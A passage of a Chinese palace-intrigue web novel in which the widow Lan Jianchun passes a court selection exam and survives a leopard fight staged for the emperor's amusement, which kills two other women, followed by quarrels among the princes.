兰见春继续往京城走,可时不时能听见一声声“杀人犯”。她吓得撒开腿跑,可那声音幽灵一样地如影随形。
突然,一只手抓住了她的胳膊,将她往回拉。
萧沃担忧地喊:“兰夫人!”
“官府要来抓我了。”兰见春小声说,“我杀人了。”
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“他们都是死士,完不成主子的命令,他们不会活的。”萧沃说,“官府不会来抓你,你不用担心。”
兰见春看着他身后的文亭、文楼,还有十多个护卫,说:“我也不知道那几箭就能——”
“你要是不射这几箭,现在没命的就是你了!”萧沃抓住她的肩膀,“打起精神来,你现在在上京,这就是个人吃人的地方!你不是还要为你亡夫,为你乡邻报仇么!你就当自己在打仗,你是个战士!你刚才杀死了你的敌人,这不算犯罪!”
兰见春紧张地点头,萧沃的眼睛好亮,她心头的害怕缓解了几分。
“别怕,我们这就带着人回去。”萧沃说,“我发现他们身上都有一块碗大的烫伤,带回去,让仵作看看,或许能查出来他们的身份。”
兰见春只顾着点头。
萧沃把她扶上马,低声说:“别怕,现在这边都是我的人,谁也伤不了你。”
兰见春使劲点头。
文楼在后边看着,疑惑地问文亭:“这女人打哪来的?”
文亭盯着兰见春,眼神复杂,沉声说:“殿下在潼裕捡的。”
“捡的?!”文楼好像知道了什么不得了的东西,“殿下不会是看上她了吧?”
“这是个刚死了丈夫的寡妇,”文亭盯着文楼,意味深长地说,“你最好谨言慎行,别给自己身子惹祸。”
文楼马上闭嘴,但眼珠子快蹦出去了。
文亭望着兰见春,一脸担忧。
—
萧沃的人把尸体抬回了京城。传了仵作来看,确认一个是服毒,另两个是中箭而亡。兰见春躲在屋子里,不敢出去。
萧沃瞥了一眼屋内,又对文楼说:“把他们衣服都扒了。”
文楼拉上文亭,把三具尸体的衣服尽数扒下来,拿火把一照,发现在他们身上都有一块烫伤。
“这伤怪得很,”仵作摸着他们的伤疤,“殿下请看,他们的伤虽在不同位置,但都差不多大,伤疤之外的皮肤都完好无损,可不像是意外留下的。”
文楼说:“倒像是故意烫伤的。”
仵作伸出两手比划了一下:“碗大的伤啊,谁会故意烫自己,还烫的那么狠?”
萧沃说:“如果是掩盖某种记号呢?”
兰见春听见“记号”,顿时警觉起来。
“或许是……圆型的纹身。”萧沃指着尸体,“他们都是死士,身上有主子的印记。但后来怕被人发现,又把印记给烫没了。这样,就算他们以后死了,尸体落入他人之手,别人也看不出来纹身是什么。”
兰见春再也坐不住了,她跑出屋子,穿过护卫们,挤到了尸体面前。
文楼要拦:“诶——人没穿衣服呢!”
兰见春管不了那么多,蹲在离她最近的一具尸体旁,他的烫伤疤正好在左乳||房。她比划了一下,烫伤是圆型的,完全判断不出来原来的纹样是什么。
但她有股预感,或许与何瑞生给她的那个符号有关。
“别看这些,”萧沃把兰见春扶起来,把她扭向另一边,“明天就是擢选大考,别让这几个死人吓得睡不好。”
兰见春被他推回了房中,萧沃把屋子里所有的灯都点上,勉强把房间照得亮堂点:“你不要想这些人是谁派来的,什么都不要想。”
兰见春不说话。
萧沃说:“你试试,能不能睡着?我就在这陪着你,不会再有人来。”
兰见春苦笑:“经历这种事,我肯定睡不着了。”
“闭目养神也好。”萧沃说,“休息吧。”
月光透过窗户纸,在地上留下一层纱。
13. 大考
乾清宫外,汪琢拦住了晦朔司司丞乔竹心的去路。
“司丞,皇后娘娘、屹王殿下、皇长孙小殿下还在里面,您再等等。”汪琢看着她受伤的卷轴说。
乔竹心把卷轴藏得更严实些:“好。”
乔竹心微微低头,秋天里,蟋蟀“咕咕”叫,她听见殿内传来笑声。
“陛下您瞧,惠儿的眼睛冒灵光,跟您一模一样呢!”
“朕瞧瞧,哎呦……哭什么呀!惠儿的眉毛像朕,立起来的,像钟馗!不过这眼睛,不像朕,像他爹!”
“儿臣的眼睛,不也是随父皇么?”
“对呀!子肖其父,惠儿像泊舟,泊舟又与您长得像,瞧这一家子,都长一个模样!”
“不哭不哭,惠儿瞧,金项圈!来,皇爷爷给你戴上,不哭不哭……”
乔竹心望着门出神。
“陛下颇为疼爱皇长孙小殿下。”汪琢说,“时常跟奴才念叨着,要屹王殿下带小殿下进宫呢。”
乔竹心小声说:“爱屋及乌。”
汪琢微微挑起眉头,乔竹心的言外之意是,因为皇帝疼爱陈昀,所以才会疼爱她生的萧回,所以才会疼萧回的孩子。毕竟,皇帝从来不会主动传景后所出的大殿下入宫,三殿下更是连问都不问。
汪琢抬头看太阳:“日头上来了,奴才去替司丞通传一声。”
“不必了。”乔竹心说,“我可以等。”
这一等,就是半个时辰。萧回抱着睡着的孩子,跟在陈昀身后跨出乾清宫,乔竹心跪下给他们行礼。
陈昀主动把乔竹心扶起来,笑着说:“让司丞久等了。”
乔竹心:“娘娘言过了,臣也是刚刚到此。”
“陛下与惠儿许久未见,本宫也不忍心打扰。”陈昀转身,拨开孩子的襁褓,故意露出那只金项圈,“本宫记得,这项圈是先帝爷送给陛下的周岁礼。没想到这么多年过去,还跟新的一样呢。”
乔竹心说:“陛下疼爱皇长孙殿下。”
“毕竟是长孙。”陈昀给萧回使了个眼色,“司丞肯定有要事禀告,泊舟,随本宫回长春宫。”
“臣恭送娘娘、二位殿下。”
乔竹心等他们走后,才走进乾清宫内。汪琢很守规矩,马上招呼乾清宫的其他侍从,退到了更远处。晦朔司的人来见皇帝,不许有其他人在,太监宫女都不行。
殿内,乔竹心跪在皇帝面前,将卷轴举过头顶:“启禀陛下,岷王殿下的人参加了晦朔司大考。这是那人的考卷,请陛下过目。”
皇帝展开卷轴,露出一面规规矩矩的小楷。他简单看过一遍,就笑了出来:“这文章……写得中规中矩,精彩倒谈不上,至少是言之有物。至于这遣词造句,还有行文习惯,竟跟荫槐如出一辙。”
乔竹心说:“答卷人名为兰见春,潼裕省丘州府羌榆县人,其父是羌榆猎户兰达,已过世五年有余;其夫是羌榆秀才何瑞生,今年夏天刚刚过世。”
“一个乡野村妇,居然能出现在晦朔司大考,”皇帝玩味地说,“写出来的策论,还与朕的大皇子写得有异曲同工之妙。‘昔西门豹治邺,非沉巫难破愚氓’……朕记得,荫槐十五岁时写过一篇治水的策论,其中也写了西门豹沉巫的典故。”
乔竹心答:“是。”
“他没少在这人身上下功夫,这女子也把荫槐研究了个透。”皇帝说,“有趣,有趣。”
乔竹心说:“文试的排名已出,这考生,恰好是是第五十名,可进武试。陛下,是否让她进入武试?”
“泊舟那边呢?”皇帝把兰见春的试卷扔给乔竹心,“今年他又送了几个人进来?”
“五个,但进前五十名的,只有两个人。”乔竹心从袖中取出一封信递给皇帝,“其中有一个是文试的第二名。”
皇帝打开,是两个名字,他随手放在烛台上点燃,待字条燃尽,说:“他今年又给这俩人编排了什么身份?”
“一个是黔州都督之女,一个是并州知州的义女。但通过看这两人的文章,发现与之前的几个人都师出同门。”
“蠢货。”皇帝笑着骂。
乔竹心磕头:“陛下息怒。”
皇帝冲她怀里的考卷抬下巴:“这还有个连遮掩都懒得遮掩的。”
乔竹心几乎趴在了地上,一句话不说。
晦朔司成立之初,先帝爷就说过,若皇子插手擢选,当以谋反罪论处。
晦朔司,分朔、晦两院:朔院主管奏本抄录整理、侦缉百官民隐;晦院主管晦朔司大牢,保卫皇帝安全。
——这可是皇帝的手,皇帝的眼,皇帝的鹰犬。
萧回第一次往擢选大考里塞人时,皇帝还发了脾气,不过,那是对乔竹心发的,萧回不知道,来年居然还往大考中塞人。一次两次三次,他送的人,也就有一次进了武试,结果还在武试中被刷掉了。
今年他还真是走运,进了两个人,还有一个是文试第一。
不光如此,萧回最走运的是,今年萧沃也往大考中塞人了。
法不责众。
光萧回一个插手擢选大考,是谋反,要提防,如今又加了一个萧沃,皇帝倒想看看,究竟谁的人能留下来。
皇帝气得直笑:“这几个人都给朕留着,该是多少名,就是多少名,全送进武试。”
乔竹心答:“臣遵旨。”
—
武试,天晴。
“咚——咚——咚——”三声鼓声后,禁军大校场四周的卫兵高呼,“开武试——”
巨门开,考生依照排名依次入场,兰见春刚好是最后一个。她低着头,眼睛却一直往前看,文试擢选出来的五十人,竟全是女子。
兰见春非常惊讶,之前听萧沃说,晦朔司男女皆可考,而且文试的时候,她也见过不少男学生。谁料到最后出结果,上榜的全是女人……怪不得男人都齐刷刷地去科举,没几个来考晦朔司的。
晦朔司的监考官站在校场的西北角,等考生到齐,她的下手给每个人都发了弓箭。
“恭喜诸位进入武试。”监考官说,“半个时辰后,诸位将按照名次进行射试。每人十箭,仅一次上场机会。”
兰见春抬起头,往校场内看:箭靶子都跟寻常的不同,靶心的划分更为细致,要想进前二十,这十箭不能有一发失误。
兰见春开始紧张了,心突突地跳,肚子里就好像有个大秤砣往下坠似的,真想上茅厕……明明在进校场前去了四五趟了,她一直踮脚、擦汗。秋后的风本来就凉,往她身上一吹,冻得人骨头疼。
她抬头望南面的城楼,明黄锦绣的大帐随风而动,中间是龙椅,左面是凤椅,右面正坐着晦朔司司丞乔竹心。
乔竹心比兰见春想象的要年轻些,大概有四十多岁。穿着晦朔司特制黛色官服,补子上绣的应该是鹰,戴乌纱帽。
乔竹心旁边的两个女人分别是朔院同知吴泪、晦院同知连云栈。她们穿相同颜色的官服,但补子上绣的是隼。
与此同时,南面的城墙后,皇家的马车纷纷而至。
这便是晦朔司大考与众不同之处,因为晦朔司选出来的人直接听命于皇帝,又掌握着监察百官的职责,与前朝互相制衡,所以在武试时,皇帝会亲临考场,以示重视。
一个穿着棕色蟒袍的年轻男人出现在城楼上:他容貌甚伟,肩膀甚宽,腰背挺直,日光落在蟒袍的金丝银绣上,熠熠生辉,好一个雄姿英发的儿郎。
乔竹心、吴泪、连云栈等人纷纷站起来向他行礼,他微微点头作为回应,直接坐在了皇后旁边的位置上。兰见春不知道他是谁,派头挺大的。
“你看那个人,知道他是谁吗?”第四十九名凑过来跟她搭话。
兰见春摇头。
“屹王萧回。”四十九压低了声音,悄咪咪地跟她说。
兰见春往后退了退,四十九也跟她退,继续说:“瞧见他身上那身蟒袍了么?”
兰见春点头。
“陛下亲赐,”四十九说,“他镇守潼裕,年前重创力剌,给陛下高兴坏了,直接召他回京述职。这一来,就不走了。”
兰见春瞪着大眼,小声说:“为什么?”
“想儿子呗。另外啊……”四十九往城楼上看,朝后到的男人抬了抬下巴——
他头戴白玉冠,鼻梁上架着那副玳瑁水晶镜,身着浅灰色银绣常服,腰佩窄玉带。自他上楼,就一直打量远处这帮考生,不知道他看到了什么,粲然而笑。
乔竹心、吴泪、连云栈三人再次站起来,躬身行礼:“见过岷王殿下,殿下安。”
“三位大人亦安。”萧沃颔首回礼,转身往自己的位置上看去——萧回鸠占鹊巢。
萧沃没了笑,踱到萧回面前,侧眼相看:“二弟老眼昏花,这是本王的位置,你应该坐旁边那个。”
萧回不为所动,随手捏了颗葡萄,说:“中秋家宴时大哥还告了病,臣弟以为您今日不来了。”
萧沃垂眸冷道:“中秋家宴都是多久之前的事了?昨日早朝本王还站你旁边。”
“今日臣弟想跟大哥换个位置。晨起宫里来人说,母后犯了头风,臣弟挂念得很,想挨着母后。”
“有头风就去找太医。”萧沃站在萧回旁边,跟他挨得特别近,“让开。”
萧回不动,萧沃就在旁边等着,二人僵持不下。
萧沃就跟怨鬼一样缠在萧回面前,最后他二弟受不了了,灰溜溜地让出了位置。
“瞧见了么?”城楼下的四十九直咋舌,“骄横跋扈,连兄长都不放在眼里。”
兰见春使劲点头,她夸道:“你懂的好多。”
“那当然了,”四十九骄傲地说,“我姓乔。”
那必然是乔竹心家的人,兰见春惊讶地说:“你今日岂不是轻轻松松?”
“想什么呢!咱可不敢走后门,前朝的人都盯着呢。”乔四十九说,“再者,你看看咱前边这帮人,哪个是善茬?都是文武双全的主,
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打不过。”
兰见春疑惑:“真的?”
“那必然。”乔四十九说,“咱俩没什么希望,今日放轻松就好。”
兰见春苦笑,点点头。
“时辰到——”考生们迅速排好队。
十人一组,很快就到了兰见春她们。兰见春手心里全是汗:前边几组只有一两个人脱靶了,甚至文试的第二名易咏有三箭是穿透上一箭之后再命中靶心的,恐怖如斯……
就像四十九说的,就她们俩,一个倒数第一一个倒数第二,根本没机会。也罢,尽力而为。
她往身上抹了两把手汗,弯弓瞄准靶心……
第一箭,没中,还差点脱靶。兰见春的心顿时提到了舌头尖,脑袋一片空白,怎么会……
不能慌,好不容易进了武试,慌里慌张的前面努力都白费了。
兰见春提了一口气,再次拉开了弓。她死死盯着靶心,她缓了很久,强迫自己静心,直到视野中只剩下那一个小点。
箭离弦。
第二箭、第三箭、第四箭……直到第八剑都例无虚发,箭箭命中中心!给旁边的四十九都看呆了。
楼上的萧沃松了口气,吃了一颗葡萄。
射试结束,兰见春的名次前进了五名。
第二场、第三场都是骑试,前者要求考生在马上射静靶,后者则要求射动靶。
有了射试的经验,兰见春在第二场放开了手脚,接连命中,排名往前提了十三个。只要她拿下最后一场、挺进前二十,就能进晦朔司了。
两轮下来,易咏已经是断层第一。
第三轮开考前,皇帝、皇后亲临考场。
兰见春跟着其他人山呼万岁,但心里却默默数着自己的名次,她还需要前进十二名……最后的十箭,一箭不能错。
过了两刻,继续进行第三轮骑试。
兰见春又紧张了,第一箭脱靶。她方寸大乱,勉强让自己平静下来。好在后面都正常发挥,最后一看名次,第二十一名,与第二十名并列。
晦朔司只要前二十,需要加试。
皇帝站了起来,他挺着将军肚,挪向了城墙边缘。陈昀、萧沃、萧回还有晦朔司的人纷纷站起身围上来。
“巾帼不让须眉啊。”皇帝双手撑着围栏,一脸欣赏地望着场上剩下的二十一名女子。
此时陈昀说:“既然是并列,不如就都让她们进晦朔司。”
萧回随声附和:“母后言之有理,儿臣觉得可行。”
“既然是赛场,那就得分个高下。”皇帝把手搭在自己腰带上,“哪回科举也没见有两个状元。比!再加一场,朕要看个尽兴!”
陈昀问:“那依陛下看,比什么好?臣妾看这几位女子的骑/射实在没有错处可挑,不如比点别的?”
“容朕想想……”
皇帝捏须而思,转眸看向萧沃、萧回:“你们可有想法?”
“全听陛下安排。”萧沃说,“不过这晦朔司加试可是头一遭,儿臣也想图个吉利,特将儿臣珍藏的宝刀拿出来,作为今日加试的彩头。”
随后便有宫女端着檀木托盘上来,其中放着一把三尺长直刀,刀柄刀鞘为小叶紫檀,上面用银漆朱砂描了暴雪寒梅图。
萧沃拾起刀,随后双手呈给皇帝:“此刀名为‘梅隐’。”
“可真是把好刀,”皇帝抽刀,刀身反射的阳光霎时划过他的脸,“用在这是否有些大材小用?”
萧沃沉默。
皇帝说:“依朕看,不如让第一名与她们再比一场,三人争一个彩头。”
萧回先不同意了:“父皇,这……有失公允。”
“泊舟!”陈昀赶紧给萧回使眼色。
“汪琢。”
“奴才在。”
皇帝笑:“让豹房将朕的三活、四巢牵来。”
在场众人皆惊。
在看楼下人,根本不知道发生了什么。兰见春只看到其他人都退了出去,偌大校场只剩她、第一名易咏,还有与她并列第二十名灵晔。
三个女人面面相觑,感觉到了危险。
她们纷纷抬头向上看,可楼上人不是笑就是把头扭了过去,根本不知道未来会发生什么。
兰见春求救似的看向萧沃,他却无奈地别开了眼睛。
校场南边的大门打开,进来的却不是人。
而是一只豹!
“还是一只饿肚子的豹。”兰见春往后退,撞上了易咏和灵晔。
她们凑在一起,步步后退。
易咏骂道:“适才大皇子拿出一把刀做彩头,明明是加试,正儿八经的大考,可这皇帝却拿我们找乐子!”
“三轮武试过去已是精疲力竭,手上又没有一刀半刃,如何对付得了豹子?”灵晔说,“这晦朔司进不进我是不清楚了,可别把命交代在这!”
她们仨同时看向城楼上的皇帝。
三个女人对付一只豹子,这比的不是武艺,是命。
14. 杀豹
“嗷——!”
花豹一声咆哮,让在场所有人的心都提到了嗓子眼。
它的步子很轻——皇帝特别要求,卸掉锁链。肥实的爪子刨抓着地面,留下一道道抓痕。
大门迅速关上,豹子站在原地,一呼一吸间,时间拉得比黄河都长。
三个女人背靠背聚在一起,她们都非常清楚,单打独斗绝对没有胜算——就是三个人对付一只豹,也要动脑子、用战术。
兰见春站在最前面,脊梁绷得像一张拉满的弓,死死盯着豹。
易咏紧贴在她左后侧,呼吸急促,脸色苍白如霜,右手死死攥着刚从头上拔下的银簪子。
灵晔在右后,警惕地盯着豹,目光锁定它的眼睛。
突然,那豹子如同一道闪电,刺向兰见春!
兰见春瞳孔骤缩,猛地向侧后方撤步,豹子带着劲风,从她身侧掠过,吓得她险些摔倒。
易咏一把将她捞了起来。
豹子扑了个空,愤怒地吼了一声,立马将头别到了另一边,灵晔落了单。
灵晔盯着豹子,一动不动。
说时迟那时快,豹子朝她飞了出去。
兰见春惊呼一声:“灵晔!”
灵晔像一道闪电,猛地从右侧斜插而上,她跳起,拔掉头上的簪子,准备向下刺。
同时,豹子也跳了起来,却正好扑了个空,灵晔找准时机,趁机扎向了它的后背!
豹子吃痛,大叫一声,立马回身蹦起来撕咬,灵晔躲闪不及,被它咬住了肩膀,瞬间——血花飞溅!
灵晔惨叫一声,豹子不松口,把她往后拖行。
豹子的速度快到兰见春和易咏都没反应过来。
灵晔痛苦地哀嚎着。
易咏把兰见春往旁边推,自己则正面直冲豹子,大喊一声:“侧面!”
兰见春马上就明白了易咏的战术,飞速绕后,易咏持簪子就冲了过来。
豹子的注意力马上被她吸引,甩掉到嘴的猎物。灵晔骨碌碌地滚向一边,被它咬掉了大半个肩膀,白骨头露出来,她疼得昏了过去。
豹子脚后跟抵着地面,要向易咏扑过去。
就在这时,兰见春从侧后方杀出来,双手抓住豹子后颈的皮肉,翻到了它后背上!
“漂亮!”皇帝在城楼上叫好。
豹子受惊,扬起两只前爪,直接跳了起来。
兰见春死死箍住它的脖颈,试图掰断它的骨头。豹子使劲甩头,她被甩下去,又因不肯撒手,又被豹子甩到了半空中。
她一只手抓住豹皮,另一只手则拔下插在它后背上的簪子,再次跳到它后背上时,直接把簪子插在了豹子的眼球里。
豹子哀嚎。
易咏趁机杀出重围,持簪子杀向豹子。就在豹子因疼痛跳起来的时候,她把银簪刺进了它的喉管,双手抓住簪头,抬起双脚,借力下坠——
直接割开了豹子的喉咙!
“嗷——!”
豹子咆哮,疯狂地扭动身体,前腿大力蹬出,直接把易咏踢飞了。她重重砸在数步外的黄土上,翻滚了好几圈才停住,连吐好几口血,肋骨条应该被踢断了。
兰见春发疯似的刺它的眼睛、脖颈,豹子血喷了她一身。
豹子血流得快,很快就没了叫声,重重地向前栽倒。兰见春气喘吁吁,好半天才从适才的惊险中缓过神。
场上归于平静。
兰见春拔下插在豹子眼上的簪子,再捡起地上易咏的银簪。她用衣角把两根簪子擦拭干净,先还给了易咏。
易咏瘫在地上,疼得倒吸凉气,她朝兰见春伸出手,兰见春把她搀了起来,她们颤颤巍巍地向灵晔走去。
她伤得太惨了,易咏瘫倒,心疼地把人扶起来,揽在了怀里。
兰见春摸摸灵晔的手:“她的手是热的,还有脉搏,要叫大夫来看,能救回来一条命。”
易咏摇了摇头,她仰起脖子,望着城楼上的皇帝,直视皇帝的眼睛,这是大不敬。
皇帝背着手,笑眯眯的,像看一场猴戏。
“兰、见、春……”灵晔勉强睁开眼,她急促地呼吸着,看了看兰见春,又看了看易咏,“易、咏……我记住了,你们的名字……”
兰见春把她的簪子放回了她手里,易咏垂下头,眼泪止不住地往外流。
灵晔盯着皇帝,说:“可是今天……只能走出去一个活人。”
兰见春还不明白她话中的深意,还安慰她说:“不,豹子死了,我们都赢了,我们可以一起从这出去。”
“皇帝不会放过我们,”灵晔转眸看向南门,卫兵再次打开了门,“又来了。”
易咏与兰见春同时向身后看,只见从中窜出来一只同刚才一样大的豹子!
灵晔猛地把两人往外推,大声呼喊:“快闪开!”
灵晔再次站起来,她浑然忘了肩膀的疼,用左手拿簪,杀向了豹子。
她大步飞向了豹,在它向自己扑上来的瞬间,向侧方躲闪,一脚踩在刚死的那只豹的腹部,借力一跃,杀向了眼前这只猛兽。
豹愤怒地叫唤,灵晔忍着肩头剧痛,借横插在豹子身上的簪子,把自己的整具身体都挂在了豹子身上!
这一招兰见春用过,而现在的灵晔,只会比适才的兰见春还无畏,她拔下簪子,狠狠刺向豹子脖颈下方动脉!
灵晔被豹子甩飞了,她觉得簪子不够用,竟张开了嘴,照豹子的后脖颈咬了上去!
豹子大声哀嚎——
兰见春闭上眼,怕得心都在颤抖。
但她不敢想,如果败了怎么办。
小时候,跟爹一起去上山猎虎,爹说,一定要让它变瞎,这样才能给猎人杀它的机会。
兰见春倒着气儿,突然猛地踩一脚地面,抓起一把黄土,撒向豹眼。豹子没了视线,跟无头苍蝇似的乱蹦。灵晔趴在它背上,反手握簪子,割破了它半边喉咙。
豹子将她甩了出去,倒向了兰见春那边。
“接着!”灵晔把簪子扔了过去,兰见春稳稳接住。可豹子一直在惊恐地跳动,呲着獠牙,她根本抓不到机会。
很快,豹子就又能看见了。
它意识到危险在自己身后,决计攻向兰见春。另一边的灵晔暂时安全了,她向后撤步,结果正踩在刚才上一只豹子的血泊上!
“哧溜——!”
灵晔脚下一滑,向后仰倒!豹子闻声,立刻放弃了兰见春,扑向了灵晔!
血盆大口张开,咬住了她的脖颈。
骨头裂开的声音像木头折断,场上静得能听见沙砾翻滚的声音。
风掠过校场,兰见春、易
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咏,还有城楼上许许多多的人,都闭上了眼睛。
唯独皇帝欣慰地笑着。
谁不是满怀期待地来参加擢选大考呢?谁不是抱着对家对国的热忱来晦朔司的呢?
结果就这样被人戏耍,被人放进了虎狼窝,大人们居高临下地看自己为了活着而竭尽全力,看自己被豺狼虎豹撕咬、扯烂了皮肤。
或许她们与猪、与狗、与骡马没区别。
灵晔无声无息地走了,那双年轻的眼睛,好像被人吹熄的烛火,瞬间没了光芒。
她怔怔地望灰蒙蒙的天空,还未来得及闭眼,就没了性命。
高台上,传来一声满足的、带着笑意的轻叹。
豹子饮到了热血,彻底爆发了凶性。它甩掉胡须上的血,抬起头,瞬间锁定了下一个目标——离它更近、已经受伤的易咏。
兰见春望着易咏,她眼神复杂,有恐惧,有悲恸,有仇恨,最后都变为了怒火。
易咏的嘴唇无声地开合着,没有声音,但兰见春读懂了那个口型。
“杀……杀!”
兰见春的心狂跳,死死攥紧了灵晔扔给她的发簪。
豹子扑向易咏,易咏也向它冲锋,主动撞向那张着血盆大口的凶兽!
獠牙深深刺入了易咏的肩膀!但她死死箍住豹子的前肢!——她用自己的身体,卡住了豹子!
兰见春冲了上来,直取豹子的咽喉!
花豹察觉到了侧后方的危险,但易咏如同枷锁拖住了它!
就!现!在!
兰见春的左手像铁钳,揪住豹子颈后的皮毛,同时右手将簪子插向它的颈侧,向下一推——
滚烫的、腥臭的血喷了出来。
豹子轰然侧倒在地,四肢抽搐几下,便彻底不动了。它的血汩汩涌出,连同灵晔的血、易咏的血,彻底交融在一起,血染红了整个校场。
死寂。
沉默。
呜咽。
兰见春缓缓地转过身。脸上的血模糊了她的五官,只有那双眼睛,淌着热泪。
她抬望铅灰色的天空——
天怎么这样暗呢?
她泪如雨下,她也输了,今日这场加试,没有胜利者。
“老天啊……”兰见春跪了下来,双手掩面,低声哭泣。
天越来越黑,没过多久,竟落下了雨。大雨冲刷地面,将血带走,好像老天爷也觉得羞耻似的,急忙忙把血痕抹去。
校场的南大门又打开了,进来一群太监,急匆匆地收拾战场。他们把两只豹子,易咏、灵晔的尸体一同拉走,干脆得像处理摔碎的碗碟,零落的枯叶。
他们提着水桶,不断地泼在地上,太监们跪下来刷洗地面,很快就把校场收拾得干干净净。
汪琢走了进来,双手端着梅隐刀,身后还跟着一个打伞的小太监。
“兰姑娘,恭喜!这是你的彩头。”汪琢弓下腰,把刀送给了她。
兰见春望着那油润、红彤彤的刀身,笑了出来,她没有伸手去接。
“恭喜兰姑娘,您再不接,可就……”汪琢肃声说,言外之意就是皇帝的意思,你不接,是抗旨。
兰见春始终都没有接这把刀,汪琢最后把刀放在了她面前,匆匆离开。
兰见春抬头望城楼,空空如也,皇帝早就走了。
15. 挨打
“如果不是你非要给什么彩头,今天就不会死那么多人。”
正当萧沃准备出宫时,身后响起了萧回的声音。他二弟终究还是胆子小,也就只敢在没人的地方堵大哥的路。
萧沃转过身,瞧见他二弟,装模作样地寒暄道:“二弟不是着急回家抱孩子么?”
“不过是一场加试,你疯了,跳出来给什么彩头。”萧回逼近了萧沃,冷声问,“你午夜梦回时,难道就不怕床边站着那两个女子的亡魂么?”
萧沃捂着嘴嗤笑,等他笑够了,凑近萧回盯着他,眼眸澄澈得异常天真:“二弟,你忘了,我睡不着觉。”
“萧荫槐,你究竟是何居心?”萧回恐惧萧沃这个笑容,他往后退了半步。但萧沃的身影压住了大半夕阳,萧回始终矮那么一点,始终困在大哥的阴影里。
“他们要索命,也该去找陛下。与我何干?难道是我要易咏与灵晔、兰见春比试的?难道也是我让豹房牵畜生来的?二弟呀,你怎么总挑软柿子捏?”
萧回辩不过萧沃,他只觉得萧沃的嘴脸丑恶,攥紧了拳头,真想一拳抡萧沃脸上。他咬牙切齿地低声问:“看到豹子把人脑袋咬下来,你心里很痛快,是吗?”
“没人希望她们死,”萧沃摊开双手,“但你我都没办法,不是吗?你说的话,陛下听吗?晦朔司一月不过二十两例银,朝廷不是养活不起。可陛下就是不同意,为什么——泊舟,你还不明白吗?”
萧回眯着眼,嗅见了一股血味:“我应该明白什么?”
“朽木不可雕也。”
萧回继续问:“我应该明白什么?”
萧沃:“如果你是装的,那你都能去磬音楼搭台唱戏了。但如果你不是,你最好找太医给你治治脑子。”
“一天到晚都这两句话,”萧回低吼道,“说不说?”
“不说。来,杀了我。”萧沃嘲讽道,“你敢么?”
萧回眼瞪得好大,可萧沃的眼神就跟刀子似的,被他这样盯着,萧回感觉自己挨了他十万八千个耳光。
萧回揪住萧沃的衣襟,低声说:“别以为我不敢。”
萧沃:“松手。”
萧回:“不松。”
萧沃笑,摘下自己的眼镜,放回紫檀镜盒中,他身后的文亭赶紧上来,接过了镜盒。
萧沃一把抓住萧回的发髻,把人薅了过来,贴在他耳根子说:“蠢货。”
萧回掰他的手指,试图甩开萧沃,但没成功,喊道:“告诉我为什么!”
“你以为这三个女人,是陛下随便挑的?”萧沃一把将他甩到了墙根底,“晦朔司第一,那可是女中豪杰,陛下竟也舍得让她去跟豹子抢命活?萧泊舟,你好好想想,到底为什么?”
萧回头皮被他扯得生疼,他愤愤不平道:“我不知道!”
萧沃骂道:“蠢货。”
“两个无辜的人死了,还死得很惨。”萧回说,“你就这么无动于衷?够冷血,萧沃。”
萧沃翻了个白眼:“明明在她们三个合力杀死第一只豹的时候,陛下就可以停手,为什么还要继续第二轮?”
萧回呆愣。
“陛下在等什么?说话,告诉我答案。”
萧回使劲摇头。
“他在等,是谁活了下来!他要看天命站在谁的身后!”萧沃低声说。
萧回如梦方醒:“天命?”
“殿下!”
萧沃萧回一同看过去。
来的正是屹王妃赵照,她提着裙摆,着急地往这边跑。
她先挽过萧回,再把他推到了自己身后,蹲下给萧沃行礼:“妾身见过大殿下。”
萧沃掸去手上的头发,他下手挺狠,薅下来几十根。
赵照回头看了一眼萧回,回来给萧沃道歉:“二殿下今日犯了糊涂,大哥教训的对。妾身保证,二殿下以后肯定不会犯这种错了。”
“屹王妃说笑了,”萧沃说,“本王与二弟情同手足——”
赵照明显一僵。
情、同、手、足。
萧沃又说:“怎么会有隔夜仇呢?”
他整理凌乱的衣袖,讽刺地笑了一声,便离开了皇宫。
萧回捂着脑袋,恶狠狠地盯着萧沃离开的方向:“这疯子。”
赵照检查他的脸,小声说:“你感觉头昏吗?”
萧回摇头:“我没事。”
萧回盯着宫道尽头,若有所思。
“殿下,起来。”赵照搀扶他,“母后说,要您去一趟长春宫,有要事相商。”
“我不想去。”萧回扯下发冠,长发披散在脑后。他叼着金冠,两手绕到脑后,重新拢发髻。
他皱着眉头望远处的红墙,发髻梳歪了也无所谓,额前掉了两捋长须,也懒得把它们拢上去。
“妾身为您重梳吧。”
萧回攥着簪子,喃喃道:“我们回家吧。”
赵照捧起他的脸,柔声说:“去长春宫,母后的命令,不好违逆。”
萧回抬眸望着她,恳切地说:“我想回家。”
赵照捏捏他的耳朵:“母后等着殿下呢。”
萧回叹息,拂去她的手。他站在原地很久,才向宫内缓缓走去。
夕阳落在他的蟒袍上,依然落寞、暗淡。
—
“啪!”
陈昀甩了萧回一个响亮的大巴掌。
萧回耳朵被打得嗡嗡响,他怔然盯着殿内的装潢,感觉除了他之外的所有东西都在旋转。
他不疼,就感觉风呜呜地吹,专门往自己的脸上拍。他慌乱无措地查看四周,余光扫到了角落里的赵照,她眼角红红的,自己心里居然也开始难过起来。
为什么要让我的妻子,我最亲近的人,看见我这么狼狈的模样呢?
萧回想过去抱抱她,她哭得让自己心酸。
“母后!”赵照跪下,以膝盖为足,爬向陈昀,“您原谅殿下吧!”
陈昀不搭理赵照,问萧回:“为何招惹萧沃?!”
萧回望着她,不回答,胳膊好痒,他挠胳膊上的旧伤,心里在猜,陈昀会不会再甩给自己一个巴掌。
陈昀果然又甩了他一巴掌:“本宫在问你话,回答!”
萧回脸上火辣辣的,他嗤笑,心说果真如此,母后,儿臣果然是最了解您的人,这么多年都这样。
萧回缓缓转过头,疑惑地望着陈昀:“儿臣不明白,他为什么要献那把刀。”
“所以你就跟他在宫里大打出手?”
萧回平静地为自己解释:“是他打了儿臣,母后!是那个疯子——打了儿臣。”
“蠢到家了!”陈昀骂道,“这件事落到陛下耳中,就是你们两个皇子,在宫里互殴!你难道也要跟他一样做个疯子吗!”
萧回不再解释。
做个疯子不好吗?谁不想像他那样,有气就撒有病就犯?何况萧沃也不疯,他只是比较豁得出去而已。要是自己能跟他似的就好了,也不至于这么多年都过的那么憋屈。
萧回眼皮低垂,不停地挠胳膊,任由陈昀数落。
“平时的时候都好,偏偏在人多的时候丢人现眼。萧泊舟,本宫不是跟你说过很多次,在外面,不要和他针锋相对,不要和他针锋相对!”
萧回抬眸望着陈昀:“针锋相对,这或许……就是父皇想看到的。”
“这世上没有一个父亲愿意看到自家兄弟阋墙!”
“天命。”萧回叹息着,“他说,天命。”
